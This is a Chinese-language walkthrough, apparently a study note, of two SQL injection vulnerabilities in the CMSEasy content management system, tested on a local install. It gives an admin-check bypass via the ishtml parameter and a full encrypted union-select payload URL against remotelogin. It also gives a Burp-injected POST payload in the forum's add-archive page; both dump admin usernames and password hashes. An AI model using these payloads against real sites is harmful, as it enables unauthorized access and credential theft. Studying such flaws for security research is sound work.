cmseasy的两个注入漏洞
目录
第一个漏洞
第一步:
第二步:
第三步:
第四步:
第二个漏洞
第一步:
第二步:
cmseasy是流行于17年左右的一个网站,后台界面是这样的
我们先看一下页面的源代码,整体架构还是比较用以看懂的。
第一个漏洞
第一步:
我们找到lib/admin/admin.php,发现其中第14行15行代码的意思是:当你的服务器ip等于你自己的ip并且get传参ishtml的值=1时直接return,否则才会check_admin();所以只要我们满足这两个条件,是不是就可以绕过检测。拿到后台的cookie安全码来完成注入。
http://127.0.0.1/cmseasy/uploads/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1
可以看到我没有输入账号密码直接进了后台,也就拿到了cookie安全码。
由于我是直接搭建在本地,所以ip都是127.0.0.1,如果不是的话,ping一下服务器就知道是多少了。
第二步:
我找到了lib/admin/admin_act.php里面的remotelogin_action()远程登录函数。
第63行用到了我们刚刚获取到的cookie,意思是把cookie get传参进行base64解码,在进行解密,解密完之后再进行反序列化,这里的&user其实就跟数据库有关了,在同一个目录下。
我们一直跳转到这里,终于找到了这里的getrow()最终的目的就是为了通过where查询出来之后拼装成sql语句执行。
第三步:
找到加密函数因为源代码太多,所以我把加密函数复制到单独的一个php文件中。
然后我们就可以开始注入了,我先通过mysql查询到cmseasy_user表有20个字段
所以我们需要这样写注入语句:
'userid`=-1 union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
然后进行先序列化,再加密,最后再编码,因为这里需要跟源码的解顺序反过来
echo base64_encode(xxtea_encrypt(serialize($table), $key));
最终构造完成:
访问过后会得到一串编码。注意这里的加号反斜杠是需要编码的,如果不编码会从中间截断,+的编码是%2b,/的编码是%2f。
Mg3yr4xzMV9DDfopnS7A3PY+agrE/VbgCTZpJwJPQN9S9K4iLs/aU4d6u7pUJapCpDou2OuDfrHeXB05ltXTSccBUxfO5P4vjoEC44p0MitDQxFnuMm7pXu9hOGYwzdlCBz3VLto2dH3DkDDztVcTT7KkZG4l9e5KdGE2mxt24AOJ0Dh+rmtVcgw+sCBfd6P55nbjYb3JjQH9Kld
第四步:
现在可以在登录界面进行测试:因为我们用的是remotelogin,所以act=remotelogin
http://127.0.0.1/cmseasy/uploads/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=Mg3yr4xzMV9DDfopnS7A3PY%2bagrE%2fVbgCTZpJwJPQN9S9K4iLs%2faU4d6u7pUJapCpDou2OuDfrHeXB05ltXTSccBUxfO5P4vjoEC44p0MitDQxFnuMm7pXu9hOGYwzdlCBz3VLto2dH3DkDDztVcTT7KkZG4l9e5KdGE2mxt24AOJ0Dh%2brmtVcgw%2bsCBfd6P55nbjYb3JjQH9Kld
最后我已经可以看到账号密码了admin%3A21232f297a57a5a743894a0e4a801fc3
账号就是admin,%3A就是一个分割符,后面进行解码就可以了
到这里就结束了。
第二个漏洞
第一步:
我们找到漏洞点在bbs/add-archive.php中,第25行开始,意思是拿到username,userid,ip,addtime通过$_post进行插入,但是它会接收所有的post传参,所有这也是一个注入点。
这里我们通过全局查找找到inserData(),然后再一步一步找下去,找到过滤函数
这里就和sqli-labs的第17关差不多了。
第二步:
来到论坛界面
提交时使用brupsuite进行抓包
然后复制到repeater模块,在最下面写一串命令:
username)/**/values((select/**/concat(username,0x23,password)/**/from/**/cmseasy_user/**/limit/**/0,1),2,3,4,5,6)#
然后提交,我们可以先断点在提交,这样可以看代码走的过程。
可以看到$data是这些数组
这里循环出来之后进行替换,$n_str就是插入的key,$v_str就是插入的value
最后返回的就是拼接的全部内容。
走到最后执行,帖子就注入成功了